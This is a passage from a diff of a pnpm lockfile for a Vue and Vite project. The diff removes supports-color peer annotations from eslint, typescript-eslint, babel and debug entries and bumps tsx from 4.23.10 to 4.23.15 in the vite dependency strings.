4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) pinia: 3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)) transitivePeerDependencies: - magic-string @@ -8100,11 +8102,11 @@ snapshots: '@standard-schema/spec@1.1.0': {} - '@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))': + '@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0))': dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@typescript-eslint/types': 8.66.0 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) eslint-visitor-keys: 4.2.1 espree: 10.4.0 estraverse: 5.3.0 @@ -8135,15 +8137,15 @@ snapshots: '@types/web-bluetooth@0.0.21': {} - '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) + '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) '@typescript-eslint/scope-manager': 8.66.0 - '@typescript-eslint/type-utils': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) + '@typescript-eslint/type-utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) '@typescript-eslint/visitor-keys': 8.66.0 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) ignore: 7.0.6 natural-compare: 1.4.0 ts-api-utils: 2.5.0(typescript@6.0.3) @@ -8151,23 +8153,23 @@ snapshots: transitivePeerDependencies: - supports-color - '@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@typescript-eslint/scope-manager': 8.66.0 '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(supports-color@10.2.2)(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) '@typescript-eslint/visitor-keys': 8.66.0 - debug: 4.4.3(supports-color@10.2.2) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/project-service@8.66.0(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/project-service@8.66.0(typescript@6.0.3)': dependencies: '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) '@typescript-eslint/types': 8.66.0 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 typescript: 6.0.3 transitivePeerDependencies: - supports-color @@ -8181,13 +8183,13 @@ snapshots: dependencies: typescript: 6.0.3 - '@typescript-eslint/type-utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/type-utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(supports-color@10.2.2)(typescript@6.0.3) - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - debug: 4.4.3(supports-color@10.2.2) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) ts-api-utils: 2.5.0(typescript@6.0.3) typescript: 6.0.3 transitivePeerDependencies: @@ -8195,13 +8197,13 @@ snapshots: '@typescript-eslint/types@8.66.0': {} - '@typescript-eslint/typescript-estree@8.66.0(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/typescript-estree@8.66.0(typescript@6.0.3)': dependencies: - '@typescript-eslint/project-service': 8.66.0(supports-color@10.2.2)(typescript@6.0.3) + '@typescript-eslint/project-service': 8.66.0(typescript@6.0.3) '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) '@typescript-eslint/types': 8.66.0 '@typescript-eslint/visitor-keys': 8.66.0 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 minimatch: 10.2.6 semver: 7.8.5 tinyglobby: 0.2.17 @@ -8210,13 +8212,13 @@ snapshots: transitivePeerDependencies: - supports-color - '@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@typescript-eslint/scope-manager': 8.66.0 '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(supports-color@10.2.2)(typescript@6.0.3) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + eslint: 10.8.0(jiti@2.7.0) typescript: 6.0.3 transitivePeerDependencies: - supports-color @@ -8226,18 +8228,18 @@ snapshots: '@typescript-eslint/types': 8.66.0 eslint-visitor-keys: 5.0.1 - '@unhead/bundler@3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))': + '@unhead/bundler@3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))': dependencies: magic-string: 1.1.0 oxc-walker: 1.1.1(@oxc-project/types@0.143.0)(oxc-parser@0.142.0)(rolldown@1.2.3) - unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) optionalDependencies: esbuild: 0.25.12 lightningcss: 1.33.0 oxc-parser: 0.142.0 rolldown: 1.2.3 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - '@farmfe/core' - '@oxc-project/types' @@ -8246,15 +8248,15 @@ snapshots: - rollup - unloader - '@unhead/vue@3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': + '@unhead/vue@3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': dependencies: - '@unhead/bundler': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + '@unhead/bundler': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) hookable: 6.1.1 - unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) vue: 3.5.41(typescript@6.0.3) optionalDependencies: - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - '@farmfe/core' - '@oxc-project/types' @@ -8339,9 +8341,9 @@ snapshots: '@unrs/resolver-binding-win32-x64-msvc@1.12.2': optional: true - '@vercel/nft@1.10.2(rollup@4.62.4)(supports-color@10.2.2)': + '@vercel/nft@1.10.2(rollup@4.62.4)': dependencies: - '@mapbox/node-pre-gyp': 2.0.3(supports-color@10.2.2) + '@mapbox/node-pre-gyp': 2.0.3 '@rollup/pluginutils': 5.4.0(rollup@4.62.4) acorn: 8.18.0 acorn-import-attributes: 1.9.5(acorn@8.18.0) @@ -8358,22 +8360,22 @@ snapshots: - rollup - supports-color - '@vitejs/plugin-vue-jsx@5.1.6(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': + '@vitejs/plugin-vue-jsx@5.1.6(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) - '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2)) - '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) + '@babel/core': 7.29.7 + '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7) '@rolldown/pluginutils': 1.0.1 - '@vue/babel-plugin-jsx': 2.0.1(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + '@vue/babel-plugin-jsx': 2.0.1(@babel/core@7.29.7) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) vue: 3.5.41(typescript@6.0.3) transitivePeerDependencies: - supports-color - '@vitejs/plugin-vue@6.0.8(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': + '@vitejs/plugin-vue@6.0.8(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': dependencies: '@rolldown/pluginutils': 1.0.1 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) vue: 3.5.41(typescript@6.0.3) '@vue-macros/common@3.1.4(vue@3.5.41(typescript@6.0.3))': @@ -8388,27 +8390,27 @@ snapshots: '@vue/babel-helper-vue-transform-on@2.0.1': {} - '@vue/babel-plugin-jsx@2.0.1(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@vue/babel-plugin-jsx@2.0.1(@babel/core@7.29.7)': dependencies: - '@babel/helper-module-imports': 7.29.7(supports-color@10.2.2) + '@babel/helper-module-imports': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2)) + '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7) '@babel/template': 7.29.7 - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 '@babel/types': 7.29.8 '@vue/babel-helper-vue-transform-on': 2.0.1 - '@vue/babel-plugin-resolve-type': 2.0.1(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) + '@vue/babel-plugin-resolve-type': 2.0.1(@babel/core@7.29.7) '@vue/shared': 3.5.41 optionalDependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 transitivePeerDependencies: - supports-color - '@vue/babel-plugin-resolve-type@2.0.1(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@vue/babel-plugin-resolve-type@2.0.1(@babel/core@7.29.7)': dependencies: '@babel/code-frame': 7.29.7 - '@babel/core': 7.29.7(supports-color@10.2.2) - '@babel/helper-module-imports': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 + '@babel/helper-module-imports': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 '@babel/parser': 7.29.8 '@vue/compiler-sfc': 3.5.41 @@ -8510,7 +8512,7 @@ snapshots: dependencies: upath: 2.0.1 vue: 3.5.41(typescript@6.0.3) - vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)) + vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)) '@vuetify/v0@1.2.3(vue@3.5.41(typescript@6.0.3))': dependencies: @@ -8783,12 +8785,12 @@ snapshots: chownr@3.0.0: {} - chrome-launcher@1.2.1(supports-color@10.2.2): + chrome-launcher@1.2.1: dependencies: '@types/node': 26.1.2 escape-string-regexp: 4.0.0 is-wsl: 2.2.0 - lighthouse-logger: 2.0.2(supports-color@10.2.2) + lighthouse-logger: 2.0.2 transitivePeerDependencies: - supports-color @@ -9003,11 +9005,9 @@ snapshots: db0@0.3.4: {} - debug@4.4.3(supports-color@10.2.2): + debug@4.4.3: dependencies: ms: 2.1.3 - optionalDependencies: - supports-color: 10.2.2 decamelize@1.2.0: {} @@ -9188,14 +9188,14 @@ snapshots: escape-string-regexp@5.0.0: {} - eslint-config-flat-gitignore@2.3.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-config-flat-gitignore@2.3.0(eslint@10.8.0(jiti@2.7.0)): dependencies: - '@eslint/compat': 2.1.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + '@eslint/compat': 2.1.0(eslint@10.8.0(jiti@2.7.0)) + eslint: 10.8.0(jiti@2.7.0) - eslint-config-prettier@10.1.8(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-config-prettier@10.1.8(eslint@10.8.0(jiti@2.7.0)): dependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) eslint-flat-config-utils@3.2.0: dependencies: @@ -9209,20 +9209,20 @@ snapshots: optionalDependencies: unrs-resolver: 1.12.2 - eslint-merge-processors@2.0.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-merge-processors@2.0.0(eslint@10.8.0(jiti@2.7.0)): dependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) - eslint-plugin-import-lite@0.6.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-plugin-import-lite@0.6.0(eslint@10.8.0(jiti@2.7.0)): dependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) - eslint-plugin-import-x@4.17.1(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2): + eslint-plugin-import-x@4.17.1(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)): dependencies: '@typescript-eslint/types': 8.66.0 comment-parser: 1.4.7 - debug: 4.4.3(supports-color@10.2.2) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) eslint-import-context: 0.1.9(unrs-resolver@1.12.2) is-glob: 4.0.3 minimatch: 10.2.6 @@ -9230,19 +9230,19 @@ snapshots: stable-hash-x: 0.2.0 unrs-resolver: 1.12.2 optionalDependencies: - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) transitivePeerDependencies: - supports-color - eslint-plugin-jsdoc@63.3.3(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2): + eslint-plugin-jsdoc@63.3.3(eslint@10.8.0(jiti@2.7.0)): dependencies: '@es-joy/jsdoccomment': 0.91.0 '@es-joy/resolve.exports': 1.2.0 are-docs-informative: 0.0.2 comment-parser: 1.4.7 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 escape-string-regexp: 4.0.0 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) espree: 11.2.0 esquery: 1.7.0 html-entities: 2.6.0 @@ -9254,20 +9254,20 @@ snapshots: transitivePeerDependencies: - supports-color - eslint-plugin-regexp@3.1.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-plugin-regexp@3.1.1(eslint@10.8.0(jiti@2.7.0)): dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@eslint-community/regexpp': 4.12.2 comment-parser: 1.4.7 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) jsdoc-type-pratt-parser: 7.3.0 refa: 0.12.1 regexp-ast-analysis: 0.7.1 scslre: 0.3.0 - eslint-plugin-unicorn@73.0.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-plugin-unicorn@73.0.0(eslint@10.8.0(jiti@2.7.0)): dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@eslint/css-tree': 4.0.5 browserslist: 4.28.7 change-case: 5.4.4 @@ -9275,7 +9275,7 @@ snapshots: core-js-compat: 3.50.0 detect-indent: 7.0.2 entities: 4.5.0 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) find-up-simple: 1.0.1 globals: 17.9.0 indent-string: 5.0.0 @@ -9289,24 +9289,24 @@ snapshots: strip-indent: 4.1.1 yaml: 2.9.0 - eslint-plugin-vue@10.10.0(@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)))(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)): + eslint-plugin-vue@10.10.0(@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0)))(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0))): dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) + eslint: 10.8.0(jiti@2.7.0) natural-compare: 1.4.0 nth-check: 2.1.1 postcss-selector-parser: 7.1.5 semver: 7.8.5 - vue-eslint-parser: 10.4.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2) + vue-eslint-parser: 10.4.1(eslint@10.8.0(jiti@2.7.0)) xml-name-validator: 5.0.0 optionalDependencies: - '@stylistic/eslint-plugin': 5.10.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) + '@stylistic/eslint-plugin': 5.10.0(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) - eslint-processor-vue-blocks@2.0.0(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-processor-vue-blocks@2.0.0(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)): dependencies: '@vue/compiler-sfc': 3.5.41 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) eslint-scope@9.1.2: dependencies: @@ -9315,9 +9315,9 @@ snapshots: esrecurse: 4.3.0 estraverse: 5.3.0 - eslint-typegen@2.3.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)): + eslint-typegen@2.3.1(eslint@10.8.0(jiti@2.7.0)): dependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) json-schema-to-typescript-lite: 15.0.0 ohash: 2.0.11 @@ -9327,11 +9327,11 @@ snapshots: eslint-visitor-keys@5.0.1: {} - eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2): + eslint@10.8.0(jiti@2.7.0): dependencies: - '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@eslint-community/regexpp': 4.12.2 - '@eslint/config-array': 0.23.5(supports-color@10.2.2) + '@eslint/config-array': 0.23.5 '@eslint/config-helpers': 0.7.0 '@eslint/core': 1.2.1 '@eslint/plugin-kit': 0.7.2 @@ -9341,7 +9341,7 @@ snapshots: '@types/estree': 1.0.9 ajv: 6.15.0 cross-spawn: 7.0.6 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 escape-string-regexp: 4.0.0 eslint-scope: 9.1.2 eslint-visitor-keys: 5.0.1 @@ -9731,10 +9731,10 @@ snapshots: http-shutdown@1.2.2: {} - https-proxy-agent@7.0.6(supports-color@10.2.2): + https-proxy-agent@7.0.6: dependencies: agent-base: 7.1.4 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 transitivePeerDependencies: - supports-color @@ -9769,10 +9769,10 @@ snapshots: import-meta-resolve@4.2.0: {} - importx@0.5.2(supports-color@10.2.2): + importx@0.5.2: dependencies: bundle-require: 5.1.0(esbuild@0.25.12) - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 esbuild: 0.25.12 jiti: 2.7.0 pathe: 2.0.3 @@ -9780,12 +9780,12 @@ snapshots: transitivePeerDependencies: - supports-color - impound@1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + 